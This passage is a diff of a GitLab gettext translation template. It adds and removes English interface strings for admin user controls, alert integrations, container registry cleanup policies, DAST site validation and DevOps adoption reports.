msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
